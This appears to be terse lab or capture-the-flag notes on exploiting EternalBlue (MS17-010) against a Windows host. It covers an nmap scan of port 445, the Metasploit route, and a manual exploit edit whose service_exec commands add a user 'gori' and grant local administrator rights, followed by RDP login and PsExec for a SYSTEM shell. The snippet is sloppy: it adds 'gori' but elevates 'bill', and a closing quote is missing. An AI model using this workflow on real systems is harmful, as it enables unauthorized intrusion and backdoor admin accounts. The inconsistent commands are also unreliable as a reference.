Some information disclosure is here,but no vuln is shown.

Locate eternal Blue (MS17-010) in our local machine

and do

nmap -p 445 --script safe -Pn -n IP

-n for no DNS lookup to save time.

If we wanted to look for vuln only, you can run "vuln an safe"

The "Easy" metasploit win.

Manual way

Additionally, adding a user to the local admin is useful by replacing the pwn command.

    service_exec(conn, r'cmd /c net user gori pass /add')
    service_exec(conn, r'cmd /c net localgroup administrators bill /add


rdesktop to the new user gori with a password "pass"

run the cmd as administrator and psexec (transfer it to the victim)

PsExec64.exe -i -s cmd.exe
